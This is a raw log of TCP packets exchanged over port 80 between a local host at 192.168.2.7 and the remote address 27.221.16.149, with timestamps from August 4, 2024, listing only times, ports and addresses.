Aug 4, 2024 10:58:08.754152060 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754192114 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754200935 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754229069 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754272938 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754280090 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754331112 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754364967 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754390955 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754407883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754453897 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754466057 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754498959 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754533052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754545927 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754568100 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754614115 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754622936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754657984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754692078 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754703045 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754725933 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754767895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754770041 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754802942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754838943 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754846096 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754873037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754929066 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754964113 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754982948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755037069 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755038023 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755072117 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755110025 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755115032 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755146027 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755182981 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755194902 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755215883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755264044 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755266905 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755305052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755337954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755352020 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755378008 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755418062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755445957 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755454063 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755490065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755501032 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755525112 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755562067 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755574942 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755595922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755630970 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755644083 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755667925 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755702019 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755712032 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755738974 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755779982 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755789995 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755826950 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755861044 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755871058 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755897045 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755930901 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755956888 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.755965948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.755984068 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756005049 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756019115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756057978 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756088972 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756092072 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756127119 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756136894 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756165028 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756198883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756218910 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756234884 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756268024 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756278992 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756304026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756337881 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756341934 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756371021 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756418943 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756428003 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756464005 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756504059 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756535053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756567955 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756603956 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756620884 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756644964 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756692886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756700039 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756735086 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756769896 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756771088 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756803989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756850958 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756864071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756897926 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756932974 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.756941080 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.756967068 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757003069 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757014036 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757035971 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757076979 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757091999 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757111073 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757145882 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757157087 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757185936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757220030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757236958 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757256031 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757291079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757306099 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757323980 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757359982 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757371902 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757392883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757428885 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757441998 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757463932 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757498026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757507086 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757534027 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757566929 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757580996 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.757606983 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.757658958 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.100466013 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100544930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100589991 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100617886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.100645065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100704908 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100740910 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100779057 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100792885 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.100807905 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.100814104 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100851059 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100860119 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.100900888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100940943 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.100953102 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.101046085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101093054 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.101142883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101197004 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101242065 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.101289988 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101346970 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101380110 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101397991 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.101692915 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101741076 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.101810932 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101866961 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101916075 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.101922989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.101974964 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102008104 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102022886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102042913 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102092981 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102097034 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102135897 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102178097 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102186918 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102293015 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102336884 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102344990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102380037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102412939 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102425098 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102449894 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102495909 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102502108 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102539062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102571964 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102585077 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102606058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102653027 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102658987 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102714062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102749109 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102765083 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102783918 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102817059 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102828979 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102853060 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102888107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102905035 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102921963 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102957010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.102972984 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.102992058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103024960 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103037119 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103077888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103111982 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103128910 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103148937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103183031 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103188038 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103218079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103250980 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103267908 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103285074 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103322029 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103327036 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103355885 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103390932 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103405952 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103425026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103461981 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103473902 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103498936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103533030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103549004 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103570938 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103604078 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103622913 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103640079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103672981 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103688002 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103710890 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103744030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103759050 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103777885 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103817940 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103832960 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103852987 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103888035 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103898048 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103923082 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103959084 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.103970051 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.103996038 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104032040 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104047060 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104064941 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104098082 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104109049 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104131937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104166031 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104175091 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104202032 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104238987 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104254007 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104271889 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104315042 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104329109 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104362965 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104399920 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104419947 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104434967 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104470968 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104486942 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104526043 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104574919 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104579926 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104615927 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104650021 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104665041 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104686975 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104718924 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104737043 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104754925 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104788065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104804039 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104825020 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104859114 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104872942 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104899883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104934931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.104953051 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.104971886 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105005980 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105024099 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.105038881 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105074883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105087996 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.105109930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105144024 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105159044 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.105180025 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105212927 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105226994 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.105248928 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105282068 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105292082 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.105315924 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105351925 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.105369091 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.155241013 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.447922945 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.447983027 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448035002 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448086977 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448122025 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448173046 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448205948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448240042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448271036 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448271036 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448291063 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448327065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448344946 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448360920 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448386908 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448395014 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448427916 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448453903 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448461056 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448515892 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448545933 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448553085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448590040 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448616028 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448622942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448683023 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448707104 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448733091 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448765039 CEST	80	49758	27.221.16.149	192.168.2.7
